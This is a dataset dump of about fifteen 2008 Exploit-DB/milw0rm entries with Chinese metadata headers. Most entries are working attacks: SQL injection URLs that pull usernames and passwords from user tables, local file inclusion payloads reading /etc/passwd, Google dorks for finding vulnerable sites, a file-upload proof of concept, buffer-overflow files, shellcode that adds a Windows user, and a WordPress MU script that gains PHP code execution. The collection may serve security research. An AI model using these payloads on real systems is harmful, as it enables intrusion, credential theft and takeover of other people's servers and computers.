QLWD/code_shield huggingface dataset:
标题: PowerNews 2.5.6 - Local File Inclusion EDB-ID: 5082 CVE: 2008-0742 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-08 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-014


Application:                    PowerNews (Newsscript)
Versions Affected:              2.5.6
Vendor URL:                     http://www.powerscripts.org/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        08.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PowerNews (Newsscript) has Multiple Local File Include vulnerabilities.


1. Local File Include vulnerabilities found in scripts: 

pnadmin/categories.inc.php
pnadmin/news.inc.php
pnadmin/other.inc.php
pnadmin/permissions.inc.php
pnadmin/templates.inc.php
pnadmin/users.inc.php

Non-authentication user can directly access to this scripts.

Code
****
#################################################

  if ($_GET[subpage]) {
    if (file_exists($_GET[page]."_".$_GET[subpage].".inc.php")) {
      include($_GET[page]."_".$_GET[subpage].".inc.php");
    } else {
      ?><center><?PHP echo L_ALL_SUBPAGENOTFOUND; ?></center><?PHP
    }
  } else {

#################################################

Example: 

http://[server]/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00


2. Local File Include vulnerability found in script pnadmin/index.php in admin area.

Administrator can include local files.

Code
****
#################################################

    if ($pnloggedin != "YES") {

      include("login.inc.php");

    } else {

      if (!$_GET[page]) { $_GET[page] = "main"; }
      if (file_exists($_GET[page].".inc.php")) { include($_GET[page].".inc.php"); } else {

#################################################

Example:

http://[server]/[installdir]/pnadmin/index.php?page=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-02-08] URL: https://www.exploit-db.com/exploits/5082
标题: Backup Exec System Recovery Manager 7.0.1 - Arbitrary File Upload EDB-ID: 5078 CVE: 2008-0457 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-07 漏洞利用脚本: <?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>File Upload POC</title></head>
  <body>
    <h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
    <form action="https://<TARGET>:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
      Remote Path: <input name="path" size="100" type="text"
value="C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis"/><br/>
 File to upload: <input name="log_file" type="file"/><br/>
      <hr/>
      <p><input type="submit"/><input type="reset"/></p>
   </form>
(c)BastardLabs 2008.
  </body>
</html>

# milw0rm.com [2008-02-07] URL: https://www.exploit-db.com/exploits/5078
标题: Mambo Component Sermon 0.2 - 'gid' SQL Injection EDB-ID: 5076 CVE: 2008-0721 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-07 漏洞利用脚本: #########################################################################
#
# netadvantist@copyright 2006 SQL Injection(com_na_xxx)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
#########################################################################
#
# DORKS 1 : allinurl:"com_na_content"
#
# DORK 2 : allinurl:"com_na_bible"
#
# DORKS 3 : allinurl:"com_na_events"
#
# DORKS 4 : allinurl:"com_na_content"
#
# DORKS 5 : allinurl:"com_na_feedback"
#
# DORKS 6 : allinurl:"com_na_mydocs"
#
# DORKS 7 : allinurl:"com_na_churchmap"
#
# DORKS 8 : allinurl:"com_na_bibleinfo"
#
# DORKS 9 : allinurl:"com_na_dbs"
#
# DORKS 10 : allinurl:"com_na_udm"
#
# DORKS 11 : allinurl:"com_na_qforms"
#
# DORKS 12 : allinurl:"com_na_gallery2"
#
# DORKS 13 : allinurl:"com_na_publicrss"
#
# DORKS 13 : allinurl:"index.php?kwd"
#
##########################################################################
EXPLOÄ°T:

index.php?option=com_sermon&gid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0,0,username,password%2C0%2C0%2C0/**/from/**/mos_users/*


##########################################################################
# S@BUN                      www.hackturkiye.com                     S@BUN
##########################################################################
# S@BUN                        i AM NOT HACKER                      S@BUN
##########################################################################

side notes:

 <name>Sermon</name>
 <creationDate>12 JAN 2006</creationDate>
 <author>Isai Michel L.</author>
 <copyright>GNU/GPL</copyright>
 <authorEmail>isai@isaim.com</authorEmail>

 <authorUrl>www.isaim.com</authorUrl>
 <version>0.2</version>

# milw0rm.com [2008-02-07] URL: https://www.exploit-db.com/exploits/5076
标题: Joomla! Component Ynews 1.0.0 - 'id' SQL Injection EDB-ID: 5072 CVE: 2008-0653 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-06 漏洞利用脚本: ###########################################################################################
###    Title   : Joomla Component Ynews 1.0.0  (id) Remote SQL Injection Vulnerability
###
###    Author  : By Crackers_Child cashr00t@hotmail.com
###
###    Greetz  : Str0ke,www.biyofrm.com & www.sibersavascilar.com & www.tryag.cc   
###                                      
###    Dork    : inurl:index.php?option=com_ynews
###
###    Exploit : /index.php?option=com_ynews&Itemid=0&task=showYNews&id=SQL
###      
###    SQL     : -1/**/union/**/select/**/0,1,2,username,password,5,6%20from%20jos_users/*
###
###    Note    : Kac Kere Ã¶lDunuz ki " Olum Den Korkmuyorum Ben " Diyebiliyorsunuz . . .
###########################################################################################

# milw0rm.com [2008-02-06] URL: https://www.exploit-db.com/exploits/5072
标题: NERO Media Player 1.4.0.35b - '.m3u' File Buffer Overflow (PoC) EDB-ID: 5063 CVE: 2008-0619 类型: DOS 平台: WINDOWS 发布日期: 2008-02-05 漏洞利用脚本: # NERO Media Player <= 1.4.0.35b Remote Buffer Overflow( .M3U)
#
#
# This exception may be expected and handled.
# eax=03e90f40 ebx=41414141 ecx=009d01c8 edx=009d015c esi=03e90f38 edi=41414141
# eip=7c92b3fb esp=0010bff8 ebp=0010c214 iopl=0 nv up ei pl nz ac pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
# ntdll!wcsncat+0x387:
# 7c92b3fb 8b0b mov ecx,[ebx] ds:0023:41414141=????????
#EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)
#ExceptionAddress: 7c92b3fb (ntdll!wcsncat+0x00000387)
# ExceptionCode: c0000005 (Access violation)
# ExceptionFlags: 00000000
#NumberParameters: 2
# Parameter[0]: 00000000
# Parameter[1]: 41414141
#Attempt to read from address 41414141

my $file="bob_marley_I_Shot_The_Sheriff.m3u";

open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "http://"."A" x 700;
close($FILE);
print "$file has been created \n";
print "Upload it, and open it with Nero Media Player\n";
print "Credits:Securfrog";

#Btw , after the crash /*if not exploited ...*/ you wont be able to open Nero media player , it will constantly crash .

# milw0rm.com [2008-02-05] URL: https://www.exploit-db.com/exploits/5063
标题: Mambo Component com_downloads - SQL Injection EDB-ID: 5073 CVE: 2008-0652 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-06 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_downloads)(filecatid)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
#########################################################################
#
# DORKS 1 : allinurl :"com_downloads"filecatid
#
##########################################################################
EXPLOIT :

index.php?option=com_downloads&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*


##########################################################################
# S@BUN                           www.hackturkiye.com                     S@BUN
##########################################################################
# S@BUN                              i AM NOT HACKER                      S@BUN
##########################################################################

# milw0rm.com [2008-02-06] URL: https://www.exploit-db.com/exploits/5073
标题: Astanda Directory Project 1.2 - 'link_id' SQL Injection EDB-ID: 5071 CVE: 2008-0649 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-06 漏洞利用脚本: #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=#
# ~Author: you_kn0w                        #
# ~Contact: you-know[at]linuxmail[dot]org      #
# ~Website: www.youknowz.info                  # 
# ~Script: Astanda Directory Project           #
# ~Bug: APD Remote SQL Injection               #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#
#               Script Information             #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#    
#                                              # 
# Script name: Astanda Directory Project       #
# Script site: http://www.astanda.com/adp      #
# Script demo: http://www.astanda.com/adp/admin#
# Description: Search Engine                   #
# Version: v.1.2 & v.1.3                       #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=# 


# [-]Dorks:
             intext: Powered by APD
           intext: Â© Copyright 2005, 2006, Astanda.com, Pavel Golovko
         inurl:detail.php?link_id=

       


# [+]How To Exploit:
 
 
 http://[target].com/[path]/detail.php?link_id=-1/**/union/**/all/**/select/**/1,concat(0x3C68313E557365723A203C2F68313E,admin,0x3C68313E456D61696C3A203C2F68313E,email),null,null,0,0,1,1,1,1,0/**/from/**/config/*





# [+]Greetz:
 
 Greetz to; ka0x - Celciuz - JosS - Phanter-Root & Screamo

//you_kn0w
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# milw0rm.com [2008-02-06] URL: https://www.exploit-db.com/exploits/5071
标题: OpenSiteAdmin 0.9.1.1 - Multiple File Inclusions EDB-ID: 5068 CVE: 2008-0648 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-06 漏洞利用脚本: Software Vulnerable:

OpenSiteAdmin 0.9.1 BETA and maybe prior versions.

Vulnerable Code:

-OpenSiteAdmin/indexFooter.php
require_once($path."footer.php");

-OpenSiteAdmin/scripts/classes/DatabaseManager.php
require_once($path."OpenSiteAdmin/include.php");
require_once($path."OpenSiteAdmin/scripts/classes/ErrorLogManager.php");

-OpenSiteAdmin/scripts/classes/FieldManager.php
require_once($path."OpenSiteAdmin/scripts/classes/Fields/Checkbox.php");
require_once($path."OpenSiteAdmin/scripts/classes/Fields/ForeignKey.php");
.....
..

-OpenSiteAdmin/scripts/classes/Filter.php
require_once($path."OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php");

-OpenSiteAdmin/scripts/classes/Form.php
require_once($path."/OpenSiteAdmin/scripts/classes/Forms/Form_List.php");
require_once($path."/OpenSiteAdmin/scripts/classes/Forms/Form_Single.php");

-OpenSiteAdmin/scripts/classes/FormManager.php
require_once($path."OpenSiteAdmin/scripts/classes/Form.php");

-OpenSiteAdmin/scripts/classes/LoginManager.php
require_once($path."OpenSiteAdmin/scripts/classes/SecurityManager.php");

-OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php
require_once($path."OpenSiteAdmin/scripts/classes/RowManager.php");

Download:
http://sourceforge.net/project/showfiles.php?group_id=213524

Server should have:
    Register Globals: On
    Magic_quotes_gpc: Off

Exploit:

http://www.vulnerable.com/OpenSiteAdmin/indexFooter.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/FieldManager.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/Filter.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/Form.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/FormManager.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/LoginManager.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php?path=<File Inclusion>%00

Greetz:

Members of http://www.p1mp4m.es and http://www.yashira.org

Author:

Trancek

# milw0rm.com [2008-02-06] URL: https://www.exploit-db.com/exploits/5068
标题: All Club CMS 0.0.2 - 'index.php' SQL Injection EDB-ID: 5064 CVE: 2008-0601 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-05 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 All Club CMS <= 0.0.1f index.php Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


bug found by ka0x
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
http://www.domlabs.org/

Script affected: All Club CMS
Vulnerability: Remote SQL Injection

Download: http://sourceforge.net/project/showfiles.php?group_id=209058
need magic_quotes_gpc = off


vuln code:

[...]

if (isset($_GET['name']) && (!(empty($_GET['name'])))) {
   
  $name = $_GET['name'];
  $name = stripslashes($name);
  // stop hackers
  if (eregi("http\:\/\/", $name)) {
      echo "<br />&nbsp;&nbsp;No go on the hack attempt.<br />";
      // log attempt, from IP, etc.
      if ($SYS_SET['ban_attack_ip']) {
        // ban ip if ban_attack_ip
      }
    die();
  }
   
  $sth = $dbh->prepare("SELECT * FROM accms_modules WHERE name='$name'");
 
[...]


Stripslashes function only deletes backslashes (\) and the backslashes
doubles (\\) becomes simple (\).


Exploit:
http://[host]/accms_path/index.php?name=-1'/**/union/**/select/**/1,concat(account,0x3a,password,0x3a,email),3,4,5,6,7,8,9,1,1,1,1/**/from/**/accms_users/**/where/**/id=1/*


__EOF__

# milw0rm.com [2008-02-05] URL: https://www.exploit-db.com/exploits/5064
标题: PhotoKorn Gallery 1.543 - 'pic' SQL Injection EDB-ID: 5065 CVE: 2008-0614 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-05 漏洞利用脚本: #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=#
# ~Author: you_kn0w                        #
# ~Contact: you-know[at]linuxmail.org          #
# ~Website: www.youknowz.info                  # 
# ~Script: Photokorn Gallery                   #
# ~Bug: Photokorn Gallery Remote SQL Injection #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#
#               Script Information             #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#    
#                                              # 
# Script name: Photokorn Gallery               #
# Script site: http://www.keil-software.de     #
# Script demo: www.keil-software.de/demos/pk/  #
# Description: PHP/MySQL media gallery         #
# Version: 1.543                               #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=# 

# [-]Dorks:
             intext:Powered by photokorn 1.543
           intitle:Powered by photokorn
         
       

# [+]How To Exploit:
 
 http://[target].com/[path]/index.php?action=showpic&cat=8&pic=59&pic=-1/**/union/**/all/**/select/**/1,1,1,concat(user(),0x202D20,database()),null,1,null,0,0,1,0,0,1,0,0,1,null,null,0,0,1,1/*



# [+]Greetz:
 
 Greetz to; ka0x - Celciuz - JosS - Phanter-Root & Screamo

//you_kn0w
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# milw0rm.com [2008-02-05] URL: https://www.exploit-db.com/exploits/5065
标题: dBpowerAMP Audio Player 2 - '.m3u' Buffer Overflow (PoC) EDB-ID: 5067 CVE: 2008-0661 类型: DOS 平台: WINDOWS 发布日期: 2008-02-05 漏洞利用脚本: # dBpowerAMP Audio Player Release 2 Remote Buffer Overflow

# 0:002> r
# eax=00000000 ebx=77c17a50 ecx=00000000 edx=00000107 esi=00000000 edi=00b8f217
# eip=00004141 esp=00b8ede0 ebp=77c0f931 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
# 00004141 ?? ???

# EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)
# ExceptionAddress: 00004141
# ExceptionCode: c0000005 (Access violation)
# ExceptionFlags: 00000000
# NumberParameters: 2
# Parameter[0]: 00000000
# Parameter[1]: 00004141
# Attempt to read from address 00004141
# 
# PoC :
# 
my $file="bob_marley_I_Shot_The_Sheriff.m3u";

open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "http://"."A" x 255;
close($FILE);
print "$file has been created \n";
print "Credits:Securfrog";

# milw0rm.com [2008-02-05] URL: https://www.exploit-db.com/exploits/5067
标题: dBpowerAMP Audio Player 2 - '.m3u' Remote Buffer Overflow EDB-ID: 5069 CVE: 2008-0661 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-06 漏洞利用脚本: ####################################################################
#
# dBpowerAMP Audio Player Release 2 Remote Buffer Overflow Exploit
#
#
#
#
#
#
#
$nop= "\x90" x 65;
#
# win32_exec - CMD=cmd /k net user /add secur frog Size=188 http://metasploit.comhttp://metasploit.com 253
#
my $shellcode =
"\x29\xc9\x83\xe9\xd7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6c".
"\x91\xfa\x54\x83\xeb\xfc\xe2\xf4\x90\x79\xbe\x54\x6c\x91\x71\x11".
"\x50\x1a\x86\x51\x14\x90\x15\xdf\x23\x89\x71\x0b\x4c\x90\x11\x1d".
"\xe7\xa5\x71\x55\x82\xa0\x3a\xcd\xc0\x15\x3a\x20\x6b\x50\x30\x59".
"\x6d\x53\x11\xa0\x57\xc5\xde\x50\x19\x74\x71\x0b\x48\x90\x11\x32".
"\xe7\x9d\xb1\xdf\x33\x8d\xfb\xbf\xe7\x8d\x71\x55\x87\x18\xa6\x70".
"\x68\x52\xcb\x94\x08\x1a\xba\x64\xe9\x51\x82\x58\xe7\xd1\xf6\xdf".
"\x1c\x8d\x57\xdf\x04\x99\x11\x5d\xe7\x11\x4a\x54\x6c\x91\x71\x3c".
"\x50\xce\xcb\xa2\x0c\xc7\x73\xac\xef\x51\x81\x04\x04\x61\x70\x50".
"\x33\xf9\x62\xaa\xe6\x9f\xad\xab\x8b\xf2\x97\x30\x4c\xbe\x91\x74".
"\x02\xf4\x8e\x74\x19\xe2\x9f\x26\x4c\xbe\x9b\x30\x08\xb1\x89\x31".
"\x0f\xe4\x88\x74\x0a\xe3\x95\x33\x6c\x91\xfa\x54";
#
$eip = "\xe0\xec\xb8\x00";
#
$payload = "http://".$nop.$shellcode.$eip;
#
#
my $file="bob_marley_I_Shot_The_Sheriff.m3u";
#
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $payload;
close($FILE);
print "$file has been created \n";
print "Credits:Securfrog";

# milw0rm.com [2008-02-06] URL: https://www.exploit-db.com/exploits/5069
标题: osCommerce Addon Customer Testimonials 3.1 - SQL Injection EDB-ID: 5075 CVE: 2008-0719 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-07 漏洞利用脚本: #########################################################
##
##  osCommerce SQL Injection (customer_testimonials.php)
##
##
##  Author: it's my
##
##  Home page: http://www.antichat.ru
##
#########################################################
##
## Dork: inurl:"customer_testimonials.php"
##
#########################################################
   
   Exploit:

http://site.com/customer_testimonials.php?testimonial_id=99999+union+select+1,2,concat(customers_lastname,0x3a,customers_password,0x3a,customers_email_address),4,5,6,7,8+from+customers/*

#########################################################
## it's my sick world =/   ####    www.antichat.ru
#########################################################

source: http://addons.oscommerce.com/info/5477

# milw0rm.com [2008-02-07] URL: https://www.exploit-db.com/exploits/5075
标题: WordPress MU < 1.3.2 - 'active_plugins' Code Execution EDB-ID: 5066 CVE: 2008-5695 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-05 漏洞利用脚本: <?php
/*
WordPress [MU] blog's options overwrite

Credits : Alexander Concha <alex at buayacorp dot com>
Website : http://www.buayacorp.com/
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html

This exploit uses active_plugins option to execute arbitrary PHP
*/
include_once './class-snoopy.php';

// Fix Snoopy
class SnoopyExt extends Snoopy {
 function _prepare_post_body($formvars, $formfiles) {
  if ( is_string($formvars) ) {
   return $formvars;
  }
  return parent::_prepare_post_body($formvars, $formfiles);
 }
}

set_time_limit( 0 );

// Any user with 'manage_options' and 'upload_files' capabilities
$user = 'user';
$pass = '1234';
$blog_url = 'http://localhost.localdomain/mu/';
$remote_file = ''; // relative path to wp-content
$local_file = ''; // the contents of this file, if any, will be uploaded

$snoopy = new SnoopyExt();

$snoopy->maxredirs = 0;
$snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check';
$snoopy->submit("{$blog_url}wp-login.php", array('log' => $user, 'pwd' => $pass));

$snoopy->setcookies(); // Set auth cookies for future requests

if ( empty($remote_file) ) {
 // Upload a new file
 $snoopy->_submit_type = 'image/gif';
 $snoopy->submit("{$blog_url}wp-app.php?action=/attachments", get_contents());

 if ( preg_match('#<id>([^<]+)</id>#i', $snoopy->results, $match) ) {
  $remote_file = basename($match[1]);
 }
}
if ( empty($remote_file) ) die('Exploit failed...');

// Look for real path
$snoopy->fetch("{$blog_url}wp-admin/export.php?download");

if ( preg_match("#<wp:meta_value>(.*$remote_file)</wp:meta_value>#", $snoopy->results, $match) ) {
 $remote_file = preg_replace('#.*?wp-content#', '', $match[1]);
}
if ( empty($remote_file) ) die('Exploit failed...');

// It asumes that file uploads are stored within wp-content 
$remote_file = '../' . ltrim($remote_file, '/');

$snoopy->fetch("{$blog_url}wp-admin/plugins.php");

// Recover previous active plugins
$active_plugins = array();
if ( preg_match_all('#action=deactivate&([^\']+)#', $snoopy->results, $matches) ) {
 foreach ($matches[0] as $plugin) {
  if ( preg_match('#plugin=([^&]+)#', $plugin, $match) )
   $active_plugins[] = urldecode($match[1]);
 }
 print_r($active_plugins);
}
$active_plugins[] = $remote_file;

// Fetch a valid nonce
$snoopy->fetch("{$blog_url}wp-admin/options-general.php");

if ( preg_match('#name=._wpnonce. value=.([a-z\d]{10}).#', $snoopy->results, $match) ) {

 // Finally update active_plugins
 $snoopy->set_submit_normal();
 $snoopy->submit("{$blog_url}wp-admin/options.php",
  array(
   'active_plugins' => $active_plugins,
   '_wpnonce' => $match[1],
   'action' => 'update',
   'page_options' => 'active_plugins',
  ));
}

function get_contents() {
 global $local_file;

 return file_exists($local_file) ? file_get_contents($local_file) : '<?php echo "Hello World " . __FILE__; ?>';
}
?>

# milw0rm.com [2008-02-05] URL: https://www.exploit-db.com/exploits/5066
标题: All Club CMS 0.0.1f - 'index.php' Local File Inclusion EDB-ID: 5061 CVE: 2008-0602 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: Vulnerability: File Inclusion

Software Vulnerable:

All Club CMS 0.0.1f and maybe prior versions.

Vulnerable Code:

---
function __autoload($class_name) {
    require_once 'includes/'.$class_name . '.php';
}
---


Download:
http://sourceforge.net/project/showfiles.php?group_id=209058

Server should have:
    Register Globals: On
    Magic_quotes_gpc: Off

Exploit :                                                  
http://www.vulnerable.com/accms_site/index.php?class_name=[LFI]%00


Greetz:

P1mp4m.es--> pepepistola, musashi, patoruzu, ElvisPresley and sky
Yashira.org--> PescaoDeth, Garcez, Crackneo, alexhk_23 and all users of yashira as dapaf, el_manguan, etc.


Author: Trancek 

# milw0rm.com [2008-02-04] URL: https://www.exploit-db.com/exploits/5061